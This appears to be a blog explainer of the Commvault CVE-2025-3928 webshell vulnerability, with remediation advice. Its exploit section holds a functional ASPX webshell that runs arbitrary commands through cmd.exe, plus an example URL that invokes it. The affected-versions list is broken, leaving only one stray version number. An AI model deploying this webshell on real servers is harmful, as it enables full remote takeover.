Commvault is a popular data protection and information management platform, used by enterprises worldwide for backup and recovery. It offers a web-based interface that helps admins monitor, configure, and manage their data infrastructure. But in early 2025, security researchers and Commvault disclosed a critical vulnerability: CVE-2025-3928, which allows remote attackers to drop and run webshells on affected systems.

In this long read, we’ll break down what exactly went wrong, how attackers might exploit this bug, and, most importantly, how you can keep your installations safe and up-to-date.

What is CVE-2025-3928?

CVE-2025-3928 is an *unspecified vulnerability* in the Commvault Web Server component. According to the official Commvault advisory, attackers with valid login credentials can exploit a weakness in the server to upload and execute malicious webshell files.

From the Commvault advisory

> "Webservers can be compromised through bad actors creating and executing webshells."
> — Commvault Security Advisory (CVE-2025-3928)

This means that if a hacker is able to log in—even with a low-privilege account—they may be able to upload a bit of code, called a webshell, that gives them *remote code execution* (RCE) on the server. An RCE bug is *bad news*, because it gives attackers almost total control over the affected system.

11.20.217

If you have any of the above versions (or older), you are at risk and should update immediately.

How Does the Exploit Work?

The root problem: The web server does not properly sanitize file uploads or user input, allowing authenticated users to upload dynamic code (like ASPX, PHP, or JSP files) that the server will execute.

Example Attack (Pseudo-code)

Suppose the Commvault Web UI allows a user to upload an "image" profile picture, but doesn’t check file types. The attacker could upload something like this as cmd.aspx:

<%@ Page Language="C#" Debug="true" %>
<%
    if (Request["cmd"] != null)
    {
        string output = "";
        System.Diagnostics.ProcessStartInfo psi = new System.Diagnostics.ProcessStartInfo();
        psi.FileName = "cmd.exe";
        psi.Arguments = "/c " + Request["cmd"];
        psi.UseShellExecute = false;
        psi.RedirectStandardOutput = true;
        System.Diagnostics.Process proc = System.Diagnostics.Process.Start(psi);
        output = proc.StandardOutput.ReadToEnd();
        Response.Write(output);
    }
%>

Once uploaded, the attacker visits

http://victim-commvault-server/uploads/cmd.aspx?cmd=whoami

The server runs whoami and returns the result. Now, the attacker can run any commands—dumping credentials, installing malware, or backdooring the whole network.

> Note: The actual upload and execution method depends on the undisclosed vulnerable endpoint, but the principle remains the same.

Prevention and Remediation

The only fix is to upgrade.

You can find the latest updates and best practices here

- Commvault Security Center – Official Advisory
- Commvault Download Center – Product Updates

Conclusion

CVE-2025-3928 is a dangerous bug in Commvault Web Server that enables authenticated attackers to fully compromise Windows and Linux systems via webshells. If you haven’t already, patch immediately to one of the fixed versions.

With cybercriminals always looking for ways into backup infrastructure (which often contains *all* your sensitive data), don’t delay remediation!

If you want more technical details as they become public, follow

- NIST NVD entry for CVE-2025-3928
- Commvault Official Security Center

Stay safe!

*This post was written for educational purposes. Do not attempt to exploit this vulnerability. Always report bugs to vendors through responsible disclosure channels.*

Timeline

Published on: 04/25/2025 16:15:27 UTC
Last modified on: 04/30/2025 01:00:02 UTC